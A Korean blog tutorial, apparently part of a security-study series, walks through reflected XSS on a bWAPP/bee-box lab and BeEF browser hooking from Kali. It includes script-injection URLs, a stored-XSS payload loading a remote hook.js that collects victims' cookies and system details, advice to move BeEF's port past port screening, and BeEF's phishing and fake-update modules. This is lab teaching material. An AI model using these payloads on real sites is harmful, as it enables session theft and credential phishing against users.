1. Beebox를 이용한 ReflectedXSS 취약점 실습
StoredXSS에 비해 ReflectedXSS은 보통 위험도 Low 수준으로 고지한다.
- A3-XSS-Reflected(GET)
Get 방식은 URL을 통해 파라미터를 전달함으로
게시글 파라미터 값에 XSS을 위한 구문을 삽입하면
http://192.168.182.130/bWAPP/xss_get.php?firstname=1&lastname=1&form=submit
"><script>alert(1);</script> // "><script>alert(2);</script>
http://192.168.182.130/bWAPP/xss_get.php?firstname="><script>alert(1);</script>&lastname="><script>alert(2);</script>&form=submit
아래와 같이 확인 가능
2. BeEF Frame work을 이용한 XSS 공격 실습
- BeEF 설치 Kali Linux
┌──(root㉿kali)-[/home/kali]
└─# sudo apt-get update
└─# sudo apt install beef-xss
설치 과정이 꽤나 길다. 시키는 대로 설치하고
설치된 폴더로 가서 파일 한번 확인해 주고
└─# cd /usr/share/beef-xss/
실행파일을 실행해 보면 아래와 같은 에러 메시지를 띄운다.
└─# ./beef
[20:55:55][!] ERROR: Don't use default username and password!
[20:55:55] |_ Change the beef.credentials.passwd in /etc/beef-xss/config.yaml
Default Password를 변경해 주어야 한다.
config.yaml에서 여러 가지 설정을 만질 수 있는데
특히 port 설정을 기본 3000에서 80, 443등으로 변경해서
port screening을 우회할 수 있도록 한다.
터미널 새로 하나 열어서
┌──(kali㉿kali)-[~]
└─$ cd /etc/beef-xss
└─$ ls
config.yaml
└─$ sudo vim config.yaml
config 들어가서 비밀번호 임의로 변경 후 다시 실행
아래와 같이 내부 외부에서 접속할 수 있는 서버가 열린다.
[21:58:37][*] 2 network interfaces were detected.
[21:58:37][*] running on network interface: 127.0.0.1
[21:58:37] | Hook URL: http://127.0.0.1:3000/hook.js
[21:58:37] |_ UI URL: http://127.0.0.1:3000/ui/panel
[21:58:37][*] running on network interface: 192.168.182.128
[21:58:37] | Hook URL: http://192.168.182.128:3000/hook.js
[21:58:37] |_ UI URL: http://192.168.182.128:3000/ui/panel
외부에서 접속할 수 있는 URL로 접속해 보면 아래와 같다.
- hook.js를 이용해서 XSS 공격 연계
위에서 나오는 Hook URL을 포함시켜 XSS 공격 스크립트를 만든다.
<script src="http://192.168.182.128:3000/hook.js"></script>
공격자 Kali에서 비박스 XSS-Stroed (blog) 게시판에 해당 공격 스크립트를 남기고,
Victim(exploler)이 해당 게시글을 열람한다.
아래와 같이 XSS 공격이 된 희생자의 IP, 브라우저,
운영체제, 쿠키정보 등의 정보를 UI 페이지에서 확인할 수 있다.
- 희생자 브라우저 강제 컨트롤
BeEF Framework에서는 XSS로 붙잡은 희생자의 Browser를 컨트롤할 수 있는
수많은 Module을 제공한다. 이런 거까지 XSS로 할 수 있다고 할 정도의 기능들
Redirect Browser - 희생자의 브라우저 페이지를 내가 원하는 페이지로 이동시킨다.
Google Phishing - 구글 로그인 페이지처럼 보이는 페이지를 보여주면서 아이디 패스워드 입력을 유도한다.
Fake Flash Update - 플래시 업데이트인 것처럼 보이게 하고 내가 올리는 악성파일을 다운로드하게 유도한다.
Create Prompt Dialog - 희생자의 브라우저로 메시지를 보내고 희생자의 입력값을 받을 수 있다.
'Security Project' 카테고리의 다른 글
40. sqlmap 활용한 자동 진단 (0) | 2023.01.10 |
---|---|
39. SQL Injection 이해 (0) | 2023.01.09 |
37. StoredXSS 취약점 실습 (2) | 2023.01.04 |
36. XSS 취약점 이해 - 공격 유형 및 기법 (0) | 2023.01.02 |
35. 오예스몰 - 파일 다운로드 취약점 (0) | 2023.01.01 |
댓글